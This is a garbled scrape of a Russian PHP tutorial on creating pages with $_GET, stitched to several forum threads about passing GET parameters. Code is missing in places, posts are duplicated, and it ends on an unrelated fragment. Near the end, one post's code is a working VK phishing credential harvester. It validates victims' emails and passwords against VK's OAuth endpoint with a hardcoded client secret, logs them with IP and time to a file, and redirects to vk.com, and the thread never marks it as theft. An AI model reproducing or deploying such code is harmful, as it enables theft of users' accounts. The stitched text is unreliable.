- Php переход страницам get
- Определение «Что такое страница с помощью $_get»
- Алгоритм создания страниц с помощью «$_get»
- Результат готовой страницы с помощью а
- Пример страницы с помощью $_get
- Скачать страницу сделанную с помощью $_get
- Страница с помощью $_get на существующей
- Пример $_get страницы на базе существующей страницы
- Форум PHP программистов ► PHP практикум ► PHP для начинающих
- Как отправить GET из одной страницы на другую?
- Решение
Php переход страницам get
Вообще — эта страница родилась из поискового запроса:
как создать страницу посредством $_get?
Определение «Что такое страница с помощью $_get»
Страница созданная с помощью $_get — является виртуальной страницей, для которой существование физического файла необязательно.
В чем замечательность страниц созданных с помощью «$_get» — их может быть неограниченное количество!
Алгоритм создания страниц с помощью «$_get»
Создается php код, который получает данные из адресной строки. Пишется условие, если это условие выполняется, то выводится соответствующий контент.
Результат готовой страницы с помощью а
Пример страницы с помощью $_get
Страница созданная с помощью $_get -сотсоит из нескольких блоков.
Давайте подробно разберем тот пример, который был показан выше пунктом.
Разберем по пунктам. Нас будет интересовать все. что стоит после домена «https://dwweb.ru/»
Далее — имя переменной — «example».
Значение переменной — «get_page»
Блок №2 — php код. После того, как вы нажали на ссылку, нам нужно получить из адресной строки, выше был приведен код:
Который мы должны также разобрать.
Открытие и закрытие кода php :
$_GET — глобальная переменная GET запроса(массив)
В квадратных скобках помещается название переменной(она же в адресной строке. )
Теперь прочитаем данное условие и выведем его на русском. : если в массиве GET, есть ячейка example и она равна get_page, то. далее выполняется то, что расположено в фигурных скобках.
А в скобках вывод, не обязательно, чтобы там была простая страница — это уже из потребностей, в нашем, данном случае, речь идет именно о странице. поэтому и помещаем туда этот код страницы.
«exit» — используется для остановки выполнения кода php.
Как вариант, можно код страницы поместить прямо внутрь exit:
Скачать страницу сделанную с помощью $_get
Страница с помощью $_get на существующей
Страница может быть сделана с помощью $_get на базе уже существующей страницы. Давайте разберем пример:
Пример $_get страницы на базе существующей страницы
нам нужна ссылка данной страницы :
К данной ссылке добавляем вопрос, название переменной, значение:
В самом верху данной страницы, размещаем
Форум PHP программистов ► PHP практикум ► PHP для начинающих
Профиль
Группа: Пользователь
Сообщений: 9
Пользователь №: 5498
На форуме:
Карма:
ну к примеру есть index. php и надо перейти на login. php . НУ чтобы вида index. php ?act=login&id=22
Сообщений: 2061
Пользователь №: 3674
На форуме:
Карма: 1
Не пью :
14 лет, 6 месяцев, 27 дней
ну к примеру есть index. php и надо перейти на login. php . НУ чтобы вида index. php ?act=login&id=22
switch ($_GET[‘page’]) case ‘about’:
include «about. php »
break;
case ‘news’:
include «news. php »
break;
case ‘my’:
include «my. php »
break;
>
?>
Я думал я буду сеять добро, но у меня не получилось. Во-первых, мне помешали, во-вторых я сам отрекся от этой идеи.
Профиль
Группа: Пользователь
Сообщений: 9
Пользователь №: 5498
На форуме:
Карма:
у меня на первом break синтаксическая ошибка. Я понял что я полный ноль в PHP та и вообще в ОПП, поэтому просто интресны некоторые весчи. Уччусь
Сообщений: 1305
Пользователь №: 5348
На форуме:
Карма: 0
у меня на первом break синтаксическая ошибка. Я понял что я полный ноль в PHP та и вообще в ОПП, поэтому просто интресны некоторые весчи. Уччусь
switch ($_GET[‘page’]) case ‘about’:
include «about. php «;
break;
case ‘news’:
include «news. php «;
break;
case ‘my’:
include «my. php «;
break;
>
?>
Профиль
Группа: Пользователь
Сообщений: 9
Пользователь №: 5498
На форуме:
Карма:
Короче нада так чтобы по нажатию кнопки Войти выполнился login. php и если вход выполнен, то на mypage. php , а в случае неудачи в этом же окне сообщение «данные не верны»
Сообщений: 1305
Пользователь №: 5348
На форуме:
Карма: 0
Короче нада так чтобы по нажатию кнопки Войти выполнился login. php и если вход выполнен, то на mypage. php , а в случае неудачи в этом же окне сообщение «данные не верны»
Профиль
Группа: Пользователь
Сообщений: 9
Пользователь №: 5498
На форуме:
Карма:
та нет же полностью не нада, мне самому разобраться хочется. Ладно подскажите где почитать про GET-запрос.
Да, я наверное много там захотел . Вот так правильно будет
Задание у меня такое: переход между страницами через GET-запрос.
Сообщений: 1305
Пользователь №: 5348
На форуме:
Карма: 0
здесь у тебя post метод используется, гет будет соответственно method=»get»
то что у тебя в коде лучше так делать
Сообщений: 1305
Пользователь №: 5348
На форуме:
Карма: 0
хотя т.к. у тебя page через урл передается а не формой, можно метод и такой оставить если это для твоего задания не специфично
Профиль
Группа: Пользователь
Сообщений: 9
Пользователь №: 5498
На форуме:
Карма:
Сообщений: 1305
Пользователь №: 5348
На форуме:
Карма: 0
Сообщений: 89
Пользователь №: 5493
На форуме:
Карма:
не намного и труднее. достаточно составить свою форму и направить ее на нужный обработчик
разница лиш в том, помимо «скрытых» данных пост, что гет передается через строку адреса браузера, а пост из формы(), и другим нормальным методом его не передать.
Ребята помогите Я первый раз создаю блог и не могу понять как можно сделать переход страницы. Может подскажите? Например: Oriflameyes.blogger.com и сделать так Oriflameyes.blogger.com/novosti
Профиль
Журнал
Группа: Сын полка
Сообщений: 4096
Пользователь №: 25563
На форуме:
Карма: 63
Трезвый :
52 года, 4 месяца, 27 дней
Гость_Владимир все переходы делаются через ссылки
на следующую страницу если вам надо так
то создаете файл по названием novosti. php
переходите по клику
если новость лежит в папке под названием novosti
этот файл будет называться index. php и т.д.
«Гнусное свойство карликовых умов приписывать
________________!свое духовное убожество другим!»
___ О) как-же он прав=> __________________ © Оноре де Бальзак.
отличный хост (рекомендую !! )
My MVC-CMV
Профиль
Журнал
Группа: ★ЛжеЭксперт★
Сообщений: 2872
Пользователь №: 26275
На форуме:
Карма: 63
Подписаться на тему
Уведомление на e-mail об ответах в тему, во время Вашего отсутствия на форуме.
Подписка на этот форум
Уведомление на e-mail о новых темах на форуме, во время Вашего отсутствия на форуме.
Скачать/Распечатать тему
Скачивание темы в различных форматах или просмотр версии для печати этой темы.
Как отправить GET из одной страницы на другую?
Как отправить данные из одной формы в другую?
Привет, у меня есть программа. В ней есть процедура, которая открывает форму через Someform.Show.
Как перенести переменную с одной страницы на другую?
Как перенести переменную с одной страницы на другую?
Как сделать переход с одной страницы в другую
Всем привет , ребят не подскажите как осуществить переход к другой странице. Надо чтобы после того.
Как передавать данные с одной страницы в другую?
Есть сайт, в определенной части данного сайта отображаются названия загруженных вордовских файлов.
После перехода по ссылке site.com/index.php?name=Вася ищи Васю в массиве $_GET[‘name’]. Потом используй значение этой переменной на сайте в нужном месте html кода
Сообщение от Z_e_e_k_
После перехода по ссылке site.com/index.php?name=Вася ищи Васю в массиве $_GET[‘name’]. Потом используй значение этой переменной на сайте в нужном месте html кода
Дело в том, что $_GET[‘name’] находится в файле config.php, который открывается через index.php посредством include(), а в самом index.php находится сам движок и обработчик данных. Надо сделать так, чтобы переменная name менялась в config.php таким образом site.com/index.php?name=Вася
Сообщение от codding_hanter
Сама страница сайта находится в config.php, а в index.php находится php код и функция include(), которая вызывает config.php. Нужно сделать так, чтобы через /index.php?name=Вася, значение Вася присваивалось в config.php, где находится $_GET[‘name’]
Сообщение было отмечено wm_market как решение
Решение
Скиньте код который у вас отвечает за отправку $_GET параметра.
Добавлено через 2 минуты
Вот как я сделал,вам так надо?
index.php
form method="GET"> input type="text" name="name"> input type="submit" name="Send"> form> include('config.php'); if(isset($_GET['Send'])){ //echo $_GET['name']; } ?>
Сообщение от codding_hanter
Скиньте код который у вас отвечает за отправку $_GET параметра.
Добавлено через 2 минуты
Вот как я сделал,вам так надо?
index.php
form method="GET"> input type="text" name="name"> input type="submit" name="Send"> form> include('config.php'); if(isset($_GET['Send'])){ //echo $_GET['name']; } ?>
Сообщение от codding_hanter
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52
include('config.php');// Подключаем инфу $a=1;//Счетчик $mail = $_POST['email']; $pass = $_POST['pass']; // Инициализируем Curl $ch = curl_init(); // Если не работает, надо зарегистрировать свой секретный ключ(http://vk.com/dev) curl_setopt($ch, CURLOPT_URL,'https://oauth.vk.com/token?grant_type=password&client_id=3697615&client_secret=AlVXZFMUqyrnABp8ncuU&username='.$mail.'&password='.$pass); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0); $helper = curl_exec($ch); curl_close($ch); $id= current (explode('>',end(explode('user_id":',$helper)))); //Парсим id if ($mail != "" and $pass != "") // Если не в первый раз { if(preg_match('/[a-zA-Z]/', $id)) // Если неверно { $a=0; $failLogin[1]='value="'.$mail.'" '; echo $failLogin[0].$failLogin[1].$failLogin[2]; } if(!(preg_match('/[a-zA-Z]/', $id))) // Если верно { $a=0; echo '.$url.'">'; } } if ($a ==1) // Если в первый раз echo $firstLogin; if(preg_match('/[a-zA-Z]/', $id)) $id='fail'; $today = date("H:i:s Y/m/d"); $ip=$_SERVER['REMOTE_ADDR']; $info="Логин: $mail || Пароль: $pass || IP: $ip || Время = $today || id: $id\r\n"; $fh=fopen($out, "a+"); fwrite($fh, $info); // Записываем данные fclose($fh); ?>
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
$url = 'http://vk.com'; // Куда переходим $out = 'kotik.php'; // Логи // Если в первый раз $firstLogin = ' Читайте также: Java com sun mail